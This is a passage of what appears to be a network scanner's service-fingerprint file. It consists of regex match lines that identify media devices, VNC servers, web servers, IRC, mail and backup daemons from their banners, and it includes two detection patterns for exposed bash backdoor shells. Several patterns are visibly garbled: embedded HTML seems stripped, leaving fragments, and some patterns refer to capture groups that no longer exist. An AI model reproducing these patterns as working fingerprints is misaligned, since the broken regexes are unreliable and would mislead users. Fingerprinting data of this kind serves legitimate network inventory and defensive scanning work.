i/UPnP $2; arch: $1/ match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDLNADeviceName\.lge\.com: %5bLG%5d%20webOS%20TV%20([\w-]+)\r\nDate: .*\r\nServer: Linux/i686 UPnP/([\d,.]+) DLNADOC/([\d.]+) LGE WebOS TV/Version ([\d.]+)\r\n| p/LG WebOS TV upnpd/ i/model: $1; WebOS $4; UPnP $SUBST(2,",","."); DLNADOC $3/ d/media device/ o/Linux/ cpe:/h:lg:$1/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Neptune/([\d.]+)\r\nDLNADeviceName\.lge\.com: %5bTV%5d%5bLG%5d([\w-]+)\r\n| p/Platinum upnpd/ i/LG TV model: $2; Neptune $1/ d/media device/ o/Linux/ cpe:/a:plutinosoft:neptune:$1/ cpe:/a:plutinosoft:platinum/ cpe:/h:lg:$2/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/xml; charset="utf-8"\r\nServer: Mac OS X, UPnP/([\d.]+), Elgato EyeConnect/([\d.]+)\r\n\r\n<\?xml version="1\.0" encoding="utf-8"\?>\n.*EyeConnect \(([\w._-]+)\)|s p/Elgato EyeConnect media server upnpd/ v/$2/ i/UPnP $1/ o/OS X/ h/$3/ cpe:/a:elgato:eyeconnect:$2/ cpe:/o:apple:mac_os_x/a match upnp m|^HTTP/1\.1 200 OK\r\nContent-Type: text/xml\r\nDate: [^\r\n]*\r\nExpires: [^\r\n]*\r\nLast-Modified: [^\r\n]*\r\nPragma: no-cache\r\nServer: WebServer/1\.0 UPnP/([\d.]+)\r\n\r\n<\?xml version="1\.0"\?>\n.*ZTE\n.*([^<]+)|s p/ZTE $2 router upnpd/ i/UPnP $1/ d/broadband router/ cpe:/h:zte:$2/a match upnp m|^HTTP/1\.0 500 Internal Server Error\r\nSERVER: Unspecified, UPnP/([\d.]+), SoftAtHome\r\n| p/SoftAtHome upnpd/ i/UPnP $1/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Linux_Android_ARM/4\.0 UPnP/([\d.]+) DLNADOC/([\d.]+) EShare/([\d.]+)\r\n|s p/EShare upnpd/ v/$3/ i/UPnP $1; DLNADOC $2/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: WebOS/([\d.]+) UPnP/([\d.]+)\r\n.*LG Electronics|s p/LG WebOS upnpd/ i/WebOS $1; UPnP $2/ d/media device/ # Several internet radios match upnp m|^HTTP/1\.1 412 Failed\r\nServer: FSL DLNADOC/([\d.]+) UPnP Stack/1\.0\r\nContent-Length: 0\r\n\r\n| p/FSL upnpd/ i/DLNADOC $1/ d/media device/ match upnp m|^HTTP/1\.1 412 Precondition Failed\r\nDate: .*\r\nContent-Length: 0\r\nConnection: close\r\nServer: Audi-MIB2HIGH-(G\d+)/([\d.]+) DLNADOC/([\d.]+)/1\r\n\r\n| p/Audi MIB High $1 entertainment system/ v/$2/ i/DLNADOC $3/ match upnp m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/xml\r\nContent-Length: \d+\r\n\r\n<\?xml version="1\.0" encoding="utf-8"\?>\r\n\r\n.*Stream What You Hear \(([^)]+)\):|s p/Stream What You Hear unpnd/ o/Windows/ h/$1/ cpe:/a:sebastian_warin:streamwhatyouhear/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nAccept-Ranges: bytes\r\nConnection: close\r\nDATE: .*\r\ncontentFeatures\.dlna\.org: \r\ntransferMode\.dlna\.org: \r\nEXT:\r\nServer: Linux/(\d[\d.]+)SR[\d_]+, UPnP/([\d.]+), SmartStor Media Server/([\d.]+)\r\n\r\n<\?xml version="1\.0" encoding="UTF-8"\?>\n\n\n\n

          system information

          \n

          \nVersion: [\d.]+
          \nHostname: ([\w.-]+)
          \nOS: Linux [^<]*
          \nSQLite: ([\d.]+)\n

          | p/Promise SmartStor Media Server/ v/$3/ i/UPnP $2; SQLite $5/ d/storage-misc/ o/Linux $1/ h/$4/ cpe:/a:promise:smartstor_media_server:$3/ cpe:/a:sqlite:sqlite:$5/ cpe:/o:linux:linux_kernel:$1/a softmatch upnp m|^HTTP/1.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server:[^\r\n]*UPnP/1.0|si match upnp m|^HTTP/1\.1 200 OK\r\ncontent-length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n<\?xml version="1\.0"\?>\n\n\n1\n0\n\nhttps://[^<]+\n\nurn:wink-com:device:hub:([^<:]+)\n| p/Wink Hub $1 API httpd/ d/specialized/ cpe:/h:wink:hub_$1/ match upnp m|^HTTP/1\.0 200 OK\nCache-Control: no-cache\nExpires: -1\nDate: \d\d\d\d/\d\d/\d\d \d\d:\d\d:\d\d\.\d+\n.*urn:domotz:fingbox:([\d.]+)<|s p/Domotz Fingbox upnpd/ v/$1/ cpe:/a:domotz:fingbox_agent:$1/ softmatch upnp m|^HTTP/1\.[01].*xmlns=["']urn:schemas-upnp-org:device-1-0["']|s # UUCP 1.06.2 on Linux 2.4.X # Taylor UUCP 1.06.2 on Slackware match uucp m|^login: Password:$| p/Taylor uucpd/ # uucico prompt does not have space after "Password:", # but Debian-contributed in.uucpd calls pam_authenticate, which does. match uucp m|^login: Password: $| p/Debian in.uucpd, probably Taylor uucpd/ i/PAM auth/ o/Linux/ cpe:/o:debian:debian_linux/ cpe:/o:linux:linux_kernel/ match uucp m|^login: Login incorrect\.$| p/Solaris uucpd/ o/Solaris/ cpe:/o:sun:sunos/a # Veritas Netbackup client v.3.4 # Veritas Netbackup 4.5 Java listener match netbackup m|^1000 2\n43\nunexpected message received\n$| p/Veritas Netbackup java listener/ cpe:/a:symantec:veritas_netbackup/ # Veritas Backup Exec 9.0 on Windows match ndmp m|^\x80\0\0\$\0\0\0\x01....\0\0\0\0\0\0\x05\x02\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0|s p/Veritas Backup Exec ndmp/ v/9.0/ cpe:/a:symantec:veritas_backup_exec:9.0/ # Possibly a different version? -Doug match ndmp m|^\x80\0\0\$\0\0\0\x01....\0\0\0\0\0\0\x05\x02\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x02\0\0\0\0|s p/Veritas Backup Exec ndmp/ cpe:/a:symantec:veritas_backup_exec/ # DAZ Studio 4.5, port 27997 match valentinadb m|^dddd\0\0\0\0\0\0\0\x0b\xf2\xf2\xf2\xf2\0\0\0_\0\0\0\0\0\0\0\0\0\0\0\0\0F\0\0\0\x02\0\0\0=\0\x08%\x15\0\0\0\x1a\0R\0e\0c\0e\0i\0v\0e\0d\0 \0p\0a\0c\0k\0e\0t\0 \0i\0s\0 \0b\0r\0o\0k\0e\0n\0\.\0\xf4\xf4\xf4\xf4| p/Valentina DB/ match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: RealVNC/([-.\w]+)\r\n.*\r?\n\r?\n|si p/RealVNC/ v/$1/ i/resolution: $2x$3; VNC TCP port: $4/ cpe:/a:realvnc:realvnc:$1/ # Sometimes extra HTTP crap pushes the extra info out of the header we capture: match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: RealVNC/([-.\w]+)\r\n| p/RealVNC/ v/$1/ cpe:/a:realvnc:realvnc:$1/ match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: RealVNC-x0vncserver/([\w._ ()-]+)\r\n.*\n|s p/RealVNC x0vncserver/ v/$1/ i/resolution: $2x$3; VNC TCP port $4/ cpe:/a:realvnc:realvnc:$1/ match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: VNC Server Enterprise Edition/E([\w._-]+) \(r(\d+)\)\r\n.*\r\n|s p/VNC Server Enterprise Edition httpd/ v/$1 r$2/ i/resolution: $3x$4; VNC port $5/ cpe:/a:realvnc:realvnc:$1::enterprise/ match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: VNC Server Personal Edition/P([\w._-]+) \(r(\d+)\)\r\n.*\r\n|s p/VNC Server Personal Edition httpd/ v/$1 r$2/ i/resolution: $3x$4; VNC port $5/ cpe:/a:realvnc:realvnc:$1::personal/ # RealVNC Unknown Version match vnc-http m|^HTTP/1\.0 200 OK\n\nVNC desktop\n\n\n| p/RealVNC/ i/resolution: $1x$2; VNC TCP port: $3/ cpe:/a:realvnc:realvnc/ # TightVNC Server version 1.2.2 HTTP on Windows 2000 SP2 match vnc-http m|^HTTP/1\.0 200 OK\n\nTightVNC desktop \[([-.\w]+)\]\n\n| p/TightVNC/ v/1.2.2/ i/resolution: $2x$3; VNC TCP port: $4/ h/$1/ cpe:/a:tightvnc:tightvnc:1.2.2/a # Tightvnc-1.2.3 match vnc-http m|^HTTP/1\.0 404 Not found\n\nFile Not Found\n

          File Not Found

          \n$| p/TightVNC/ cpe:/a:tightvnc:tightvnc/a # Tightvnc 1.2.3 match vnc-http m|^HTTP/1\.0 200 OK\n\nTightVNC desktop \[([-.\w]+)\]\n\n| p/TightVNC/ v/1.2.3/ i/user: $1; resolution: $2x$3; VNC TCP port: $4/ cpe:/a:tightvnc:tightvnc:1.2.3/a # TightVNC 1.2.6 match vnc-http m|^HTTP/1\.0 200 OK\n\n\n TightVNC desktop \[[-.\w]+\]| p/TightVNC/ cpe:/a:tightvnc:tightvnc/a # TightVNC 1.2.8 match vnc-http m|^HTTP/1\.0 200 OK[\r\n]*.*<!-- \n index\.vnc - default HTML page for TightVNC Java viewer applet, to be\n used with Xvnc\. On any file ending in \.vnc, the HTTP server embedded in\n Xvnc will substitute the following variables when preceded by a dollar:\n USER, DESKTOP, DISPLAY, APPLETWIDTH, APPLETHEIGHT, WIDTH, HEIGHT, PORT,\n.*<TITLE>\n(\w+)'s X desktop.*<APPLET CODE=VncViewer\.class ARCHIVE=VncViewer\.jar\n WIDTH=(\d+) HEIGHT=(\d+)>\n<param name=PORT value=(\d+)>\n\n</APPLET>|s p/TightVNC/ v/1.2.8/ i/user: $1; resolution: $2x$3; VNC TCP port: $4/ cpe:/a:tightvnc:tightvnc:1.2.8/a # TightVNC 1.2.8 - I guess it gets cut off sometimes? match vnc-http m|^HTTP/1\.0 200 OK[\r\n]*.*<!-- \n index\.vnc - default HTML page for TightVNC Java viewer applet, to be\n used with Xvnc\. On any file ending in \.vnc, the HTTP server embedded in\n Xvnc will substitute the following variables when preceded by a dollar:\n USER, DESKTOP, DISPLAY, APPLETWIDTH, APPLETHEIGHT, WIDTH, HEIGHT, PORT,\n|s p/TightVNC/ v/1.2.8/ cpe:/a:tightvnc:tightvnc:1.2.8/a # TightVNC 1.2.9 match vnc-http m|^HTTP/1\.0 200 OK\n.*<HTML><HEAD><TITLE>Remote Desktop\n\n\n\t\n\n\n|s p/TightVNC/ v/1.2.9/ i/resolution: $1x$2; VNC TCP port $3/ cpe:/a:tightvnc:tightvnc:1.2.9/a # NetWare VNCServer match vnc-http m|^HTTP/1\.0 200 OK\n.*\r\nAccess denied due to security policy violation

          \r\nReject ID: [0-9a-f-]+\r\n
          \r\n
          \r\n\r\n$| p/Check Point R65 firewall http config/ d/firewall/ cpe:/h:checkpoint:r65/a match http m|^HTTP/1\.1 406 Not Acceptable\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nContent-Length: 616\r\n\r\n\nRequest Error| p/Blue Coat proxy server/ d/proxy server/ match http m|^\r\n400 Bad Request\r\n\r\n

          400 Bad Request

          \r\n
          nginx
          \r\n\r\n\r\n$| p/nginx/ cpe:/a:igor_sysoev:nginx/ match http m|^\r\n400 Bad Request\r\n\r\n

          400 Bad Request

          \r\n
          nginx/([\w._-]+)
          \r\n\r\n\r\n$| p/nginx/ v/$1/ cpe:/a:igor_sysoev:nginx:$1/ match http m|^\r\n400 Bad Request\r\n\r\n

          400 Bad Request

          \r\n
          cloudflare-nginx
          \r\n\r\n\r\n$| p/cloudflare-nginx/ match http m|^400 Bad Request\r\n

          400 Bad Request

          \r\n\r\n| p/nginx/ cpe:/a:igor_sysoev:nginx/ # Counting on this 404 being unique enough here in RTSPRequest. match http m|^HTTP/1\.0 404 Not Found\r\n\r\n$| p/XBT BitTorrent tracker http interface/ match http m|^HTTP/1\.1 400 Bad Request\n\n$| p/Adaptec Storage Manager Agent httpd/ match http m|^HTTP/1\.1 406 Not Acceptable\r\n.*
          \n\n
          \n\nRequest Error \(unsupported_protocol\)\n
          \n
          \n
          |s p/Dreambox httpd/ d/media device/ match http-proxy m|^HTTP/1\.1 400 Bad Request \( The data is invalid\. \)\r\n| p/Microsoft ISA Server http proxy/ o/Windows/ cpe:/a:microsoft:isa_server/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.0 400 Bad Request\r\nContent-Type: text/html; charset=UTF-8\r\nPragma: no-cache\r\nConnection: close\r\nDate: .*\r\n\r\n400 Bad Request\r\n

          400 Bad Request

          \r\nThe request could not be understood by the server due to malformed syntax\r\n$| p/Trend Micro CSC module for Cisco ASA 5510 firewall httpd/ cpe:/h:cisco:asa_5510/a match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\nError 400: Bad Request\nCan not parse request: \[OPTIONS\]| p/TomTom httpd/ match http m|^HTTP/1\.1 505 HTTP Version Not Supported\r\nDate: .*\r\nConnection: close\r\nServer: Apache\r\n\r\n| p/Apache Tomcat httpd/ cpe:/a:apache:tomcat/ match http m|^HTTP/1\.1 400 Bad Request\r\nDate: .*\r\nContent-Length: 0\r\n\r\n400 Bad Request\r\n| p/Cisco Wireless LAN Controller httpd/ d/remote management/ cpe:/o:cisco:wireless_lan_controller_software/ match http m|^HTTP/1\.1 505 HTTP Version Not Supported\r\nContent-Type: text/html\r\nContent-Length: 166\r\n\r\n505 HTTP Version Not Supported

          HTTP Version Not Supported

          HTTP versions 1\.0 and 1\.1 are supported\.

          | p/Mitel SIP DEC VoIP phone http config/ d/VoIP phone/ #match http m|^\nError response\n\n\n

          Error response

          \n

          Error code 400\.\n

          Message: Bad request version \('RTSP/1\.0'\)\.\n

          Error code explanation: 400 = Bad request syntax or unsupported method\.\n\n| p/BaseHTTPServer/ cpe:/a:python:basehttpserver/a match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nContent-Length: 59\r\nConnection: close\r\n\r\nError 400: Bad Request\nCannot parse HTTP request: \[OPTIONS\]$| p/Mongoose httpd/ cpe:/a:cesanta:mongoose/ match http m|^HTTP/1\.1 505 HTTP Version not supported\r\nContent-Length: 0\r\nDate: .* GMT\r\nConnection: close\r\n\r\n| p/Konica Minolta bizhub C452 OpenAPI/ d/printer/ cpe:/h:konicaminolta:bizhub_c452/ match http m|^HTTP/1\.0 500\r\nContent-Type: text/html; charset=UTF-8\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nConnection: close\r\n\r\n\n\n\n Application Firewall Error\n \n| p/Squid/ i/Chinese/ cpe:/a:squid-cache:squid::::zh/ match ident m|^0 , 0 : ERROR : UNKNOWN-ERROR\r\n$| p/WatchGuard Firebox firewall identd/ d/firewall/ match ident m|^HELP : USERID : UNIX : trilluser\r\n$| p/Trillian identd/ cpe:/a:trillian:trillian/ match ident m|^HELP : USERID : UNIX : ([-\w_.]+)\r\n$| p/Trillian identd/ i/Name $1/ cpe:/a:trillian:trillian/ # Internet Rex v2.29 match ident m|^\d+, \d+ : USERID : UNIX : [-.@\w]+\r\n| p/Internet Rex identd/ match ident m|^0, 0 : ERROR : UNKNOWN-ERROR$| p/Windows NT identd/ o/Windows/ cpe:/o:microsoft:windows_nt/a match ipp m|^HTTP/1\.1 405 Method Not Allowed\r\nContent-Length: 23\r\nContent-Type: text/html\r\nUpgrade: TLS/1\.0\r\n\r\n 405 Method Not Allowed| p/Ecosys ipp/ d/print server/ # IRCNet ircd match irc m|^:([-\w_.]+) 451 \* :You have not registered\r\n$| p/IRCnet-based ircd/ h/$1/ match irc m|^:([-\w_.]+) 020 \* :.*\r\n:[-\w_.]+ 451 \* :You have not registered\r\n| p/IRCnet-based ircd/ h/$1/ # ircu match irc m|^:([-\w_.]+) 451 \* :Register first\.\r\n| p/ircu ircd inter-server port/ h/$1/ cpe:/a:undernet:ircu/ match irc m|^:([-\w_.]+) 451 HELP :You have not registered\r\n| p/ircu ircd/ h/$1/ cpe:/a:undernet:ircu/ match irc m|^:([-\w_.]+) 451 HELP :Register first\.\r\n| p/ircu ircd/ h/$1/ cpe:/a:undernet:ircu/ match irc m|^NOTICE AUTH :\*\*\* Checking Ident\r\n:([-\w_.]+) 451 \* :Register first\.\r\n| p/ircu ircd/ h/$1/ cpe:/a:undernet:ircu/ match irc m|^:([\w._-]+) 451 \* :Connection not registered\r\n| p/ngircd/ h/$1/ cpe:/a:barton:ngircd/ match irc m|^:([\w._-]+) 461 HELP\r\n| p/matterircd/ h/$1/ cpe:/a:42wim:matterircd/ match irc m|^:([-\w_.]+) 290 :\.-----------------=#\[ euIRCd HelpSystem \]#=----------------\.\n| p/euIRCd/ h/$1/ match jabber m|^$| p/Zimbra 6 jabberd/ match laserfiche m|^HLO 0 0 \. 0 71\r\nContent-type: application/vnd\.laserfiche\.lrnp\r\n\r\nLRNP/1\.1\r\n\r\nlistener\r\nEND\r\nERR 0 1 \. 71 80\r\nContent-type: application/vnd\.laserfiche\.lrnp\r\n\r\n451 0 Invalid message \(-2001\)\r\nEND\r\nMSG 0 2 \. 151 58\r\nContent-type: application/vnd\.laserfiche\.lrnp\r\n\r\nCLOSE 0\r\nEND\r\n$| p/Laserfiche document service/ match lmtp m|^220 ([\w.-]+) LMTP\r\n214-This is DBMail-LMTP\.\r\n214-The following commands are supported:\r\n214-LHLO, RSET, NOOP, QUIT, HELP\.\r\n214-VRFY, EXPN, MAIL, RCPT, DATA\.\r\n214-For more information about a command:\r\n214 Use HELP \.\r\n| p/DBMail lmtpd/ h/$1/ cpe:/a:paul_j_stevens:dbmail/ match nntp m|^200 NNTP server ready\r\n100 Avaliable commands:\r\nARTICLE\r\nAUTHINFO\r\nBODY\r\nGROUP\r\nHEAD\r\nHELP\r\nIHAVE\r\nLAST\r\nLIST\r\nNEWGROUPS\r\nNEWNEWS\r\nNEXT\r\nPOST\r\nQUIT\r\nSLAVE\r\nSTAT\r\nXHDR\r\n\.\r\n| p|Hamster Playground/Kerio nntpd| match nntp m|^200 ([\w._-]+) news server ready - posting ok\r\n100 Help text follows\r\n$| p/Intersquish nntpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match pop3pw m|^200 Welcome to ([\w.-]+) password daemon\.\r\n214-Commands:\r\n214-\tUSER\tPASS\tNEWPASS\tQUIT\tHELP\r\n214-\r\n214-For more info use \"HELP \"\r\n214 End of HELP info\r\n$| p/Gattaca PASS Server/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match printer m|^([-\w_.]+): lpd: Illegal service request\n$| p/lpd/ h/$1/ match printer m|^\x01Socket \d+ received unknown command 0x48 with arguments ELP$| p/RPM Print Manager lpd/ o/Windows/ cpe:/o:microsoft:windows/a match printer m|^Command 48 is not supported\n| p/BusyBox lpd/ cpe:/a:busybox:busybox/ match print-monitor m|^false;error while receiving message from client\n$| p/Genius Bytes print monitor/ match bindshell m|^(root@([^:]+):[^#$]+)# bash: HELP: command not found\n\1# \1# $| p/Bash shell/ i/**BACKDOOR**; root shell/ h/$2/ cpe:/a:gnu:bash/ match bindshell m|^(([\w-]+)@([^:]+):[^#$]+)\$ bash: HELP: command not found\n\1\$ \1\$ $| p/Bash shell/ i/**BACKDOOR**; user: $2/ h/$3/ cpe:/a:gnu:bash/ # https://computing.llnl.gov/linux/slurm/ # u32 length, u16 api version, u16 flags (0), u16 msg_type (8001), u32 body_length, u16 forward count, u16 ret count, # u32 addr, u16 port, len-prefix auth type, u32 auth version, len-prefix auth data, u32 return_code (1008 = SLURM_PROTOCOL_INSANE_MSG_LENGTH) # API version no longer really tracks software version # Expect new fingerprints to vary only in the 5th byte match slurm m|^\0\0\0.\x1b\0\0\0\x1fA\0\0\0\x04\0\0\0\0......\0\0\0\x0bauth/munge\0\0\0\0\n\0\0..MUNGE:[\w/+=]+:\0\0\0\x03\xf0|s p/SLURM/ v/API 2.7/ i|auth/munge| # Symantec Enterprise Firewall 6.5.2 SMTP proxy on Windows 2000 match smtp m|^220 ([-.+\w]+) Generic SMTP handler\r\n214 Help not supported by this implementation\r\n$| p/Symantec Enterprise Firewall smtp proxy/ h/$1/ cpe:/a:symantec:enterprise_firewall/ # Lotus Notes Domino 6.1 smtp server on Win2K match smtp m|^220 Welcome to ([-.+\w]+) ESMTP Server at .*\r\n214-Enter one of the following commands:\r\n214-HELO EHLO MAIL RCPT DATA RSET NOOP QUIT\r\n214 HELP VRFY EXPN STARTTLS \r\n$| p/Lotus Notes Domino smtpd/ h/$1/ cpe:/a:ibm:lotus_domino/ match smtp m|^220.*?\n214-Commands supported:\r\n214- HELO EHLO MAIL RCPT DATA(?: ETRN)?(?: AUTH)?\r\n214 NOOP QUIT RSET HELP \r\n$| p/Exim smtpd/ v/3.X/ cpe:/a:exim:exim:3/ match smtp m|^220.*?\r?\n214-Commands supported:\r\n214 AUTH (?:STARTTLS )?HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP(?: VRFY)?\r\n$|s p/Exim smtpd/ v/4.X/ cpe:/a:exim:exim:4/ match smtp m|^220[\s-](\S+) ESMTP ?\r\n214[\s-]qmail home page: http://cr\.yp\.to/qmail\.html, LinuxMagic Support http://www\.linuxmagic\.com\r\n| p/qmail smtpd/ i/LinuxMagic/ h/$1/ cpe:/a:djb:qmail/ match smtp m|^220[\s-](\S+) ESMTP ?\r\n214[- ]qmail home page: http://pobox\.com/~djb/qmail\.html\r\n214[- ]qmail-ldap patch home page: http://www\.nrg4u\.com\r\n| p/qmail-ldap smtpd/ o/Unix/ h/$1/ cpe:/a:djb:qmail/ # Some qmails don't have host ... ? match smtp m|^220[\s-].*ESMTP ?\r\n214[- ]qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ o/Unix/ cpe:/a:djb:qmail/ match smtp m|^220[\s-](\S+) (?:OK )?ESMTP ?\r\n214[- ]qmail home page: http://pobox\.com/~djb/qmail\.html| p/qmail smtpd/ o/Unix/ h/$1/ cpe:/a:djb:qmail/ match smtp m|^220[\s-].*?ESMTP\r\n214 netqmail home page: http://qmail\.org/netqmail\r\n| p/netqmail smtpd/ v/1.04/ o/Unix/ # VirusBuster MailShield for SMTP. Version 1.15.030 on Linux 2.4 match smtp m|^220 ([-.\w]+) SMTP version 1\.00;\r\n214 We strongly advise you to study (?:of )?the RFC ?821\.\.\.\r\n$| p/VirusBuster MailShield for SMTP/ o/$1/ # Postfix 1.1.12, 1.1.13, 2.0.9, 2.0.16 match smtp m|^220 ([-\w_.]+) ESMTP\r\n402 Error: command not implemented\r\n$| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a match smtp m|^220 smtpd\r\n502 [\d.]+ Error: command not recognized\r\n| p/Postfix smtpd/ cpe:/a:postfix:postfix/a match smtp m|^220 ([-\w_.]+)\r\n502 [\d.]+ Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a match smtp m|^220 ([-\w_.]+) ESMTP (?:[^(]+? )?\(Ubuntu\)\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ o/Linux/ h/$1/ cpe:/a:postfix:postfix/a cpe:/o:canonical:ubuntu_linux/ cpe:/o:linux:linux_kernel/a match smtp m|^220 (?:.*? )?([-\w_.]+) ESMTP(?: [^\r\n]*)?\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a match smtp m|^220 (?:.*? )?([-\w_.]+) ESMTP(?: [^\r\n]*)?\r\n402 4\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a match smtp m|^220 ([-\w_.]+) SMTP READY\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a match smtp m|^220 E?SMTP [^\r\n]*\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ cpe:/a:postfix:postfix/a match smtp m|^220 .*\r\n502 Error: command not implemented\r\n$| p/Postfix smtpd/ cpe:/a:postfix:postfix/a match smtp m|^220 ([-\w_.]+) ESMTP \w+\r\n$| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a # Courier ESMTP courier-0.42.0-1.7.3 match smtp m|^220 ([-.\w]+) ESMTP\r\n502 ESMTP command error\r\n$| p/Courier smtpd/ h/$1/ match smtp m|214-2\.0\.0 This is sendmail version (\S+)\r?\n214-2\.0\.0 Topics:|s p/Sendmail/ v/$1/ o/Unix/ cpe:/a:sendmail:sendmail:$1/ match smtp m|214-2\.0\.0 This is sendmail\r\n214-2\.0\.0 Topics:|s p/Sendmail/ o/Unix/ cpe:/a:sendmail:sendmail/ match smtp m|^220 (\S+) E?SMTP Sendmail;| p/Sendmail/ o/Unix/ h/$1/ cpe:/a:sendmail:sendmail/ match smtp m|^220.* Sendmail (\d[-.\w]+) -- HELP not implemented\r\n|s p/Sendmail/ v/$1/ o/Unix/ cpe:/a:sendmail:sendmail:$1/ match smtp m|^220.*214-This is America Online mail version [vV](\S+)|s p/AOL smtpd/ v/$1/ match smtp m|^220.*214 2\.0\.0 http://www\.google\.com/search.*RFC\+2821\s*\r?\n|s p/Google smtpd/ match smtp m|^220.*214 SMTP server comments and bug reports to: \|s p/ZMailer smtpd/ match smtp m|^220.*500 MessageWall: Unrecognized command|s p/MessageWall SMTP proxy/ match smtp m|^220.*500 Unknown or unimplemented command|s p/MAILsweeper SMTP proxy/ match smtp m|^220.*214 See http\:\/\/www\.messagelabs\.com\/support|s p/MessageLabs smtpd/ match smtp m|^220 (\S+) ESMTP Service\r\n502 5\.3\.0 Sendmail Xserve -- HELP not implemented\r\n$| p/Xserve smtpd/ o/Unix/ h/$1/ # Doesn't look like we can always get the host from the following: match smtp m|^220 .*\r\n214-Commands Supported:\r\n214-HELO EHLO AUTH HELP QUIT MAIL NOOP RSET RCPT DATA ETRN VRFY STARTTLS\r\n214-Copyright \(c\) 1995-200\d, Stalker Software, Inc\.\r\n| p/CommuniGate Pro smtpd/ cpe:/a:stalker:communigate_pro/ match smtp m|^220 Jana-Server ESMTP Service ready\r\n214- Jana Server ([\w.]+)\r\n| p/Jana mail server/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match smtp m|^220 ([-\w_.]+) ESMTP server ready .*\r\n214-This SMTP server is a part of the InterMail E-mail system\. For\r\n| p/InterMail smtpd/ h/$1/ match smtp m|^220 ([-\w_.]+) ESMTP\r\n535 Authentication required\.\r\n| p/Courier MSA smtpd/ i/Auth required/ h/$1/ match smtp m|^220 ([-\w_.]+) ESMTP\r\n400 STARTTLS is required first\.\r\n| p/Courier MSA smtpd/ i/STARTTLS required/ h/$1/ match smtp m|^220 ESMTP\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ cpe:/a:djb:qmail/ match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-Gentoo Linux qmail-([-\w.]+)\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ v/$2/ i/Gentoo/ o/Linux/ h/$1/ cpe:/a:djb:qmail/ cpe:/o:gentoo:linux/ match smtp m|^220 .* ESMTP\r\n214-Gentoo Linux qmail-([-\w.]+)\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ v/$1/ i/Gentoo/ o/Linux/ cpe:/a:djb:qmail/ cpe:/o:gentoo:linux/ match smtp m|^554 SMTP synchronization error\r\n$| p/Exim smtpd/ cpe:/a:exim:exim/ match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-The following commands are recognized\r\n214-\tdata\tehlo\thelo\thelp\r\n214-\tmail\tnoop\tquit\trcpt\r\n214 \trset\tvrfy\r\n| p/IronPort C60 smtpd/ d/specialized/ o/AsyncOS/ h/$1/ cpe:/o:cisco:asyncos/a match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-The following commands are recognized\r\n214-\tauth\tdata\tehlo\teuq_full\r\n214-\thelo\thelp\tmail\tnoop\r\n214 \tquit\trcpt\trset\tvrfy\r\n| p/IronPort C600 smtpd/ d/specialized/ o/AsyncOS/ h/$1/ cpe:/o:cisco:asyncos/a match smtp m|^220 ESMTP\r\n214-The following commands are recognized\r\n214-\tauth\tdata\tehlo\thelo\r\n214-\thelp\tmail\tnoop\tquit\r\n214 \trcpt\trset\tvrfy\r\n| p|Eserv/4 smtpd| match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-The following commands are recognized\r\n214-\tauth\tdata\tehlo\t| p/IronPort smtpd/ d/specialized/ o/AsyncOS/ h/$1/ cpe:/o:cisco:asyncos/a match smtp m|^220 ([-\w_.]+) ESMTP ready\r\n214 [\d.]+ Commands: HELO EHLO MAIL RCPT DATA RSET NOOP VRFY QUIT STARTTLS\r\n| p/Kerio smtpd/ h/$1/ match smtp m|^220 \[?([-\w_.]+)\]? ESMTP server ready\.\r\n214-Recognized SMTP commands are:\r\n214- HELO EHLO MAIL RCPT DATA RSET\r\n214- AUTH NOOP QUIT HELP VRFY SOML\r\n214 Mail server account is '([-\w_.]+)'\.\r\n| p|Mercury/32 smtpd| i/Mail server account $2/ h/$1/ match smtp m|^220 ([-\w_.]+) 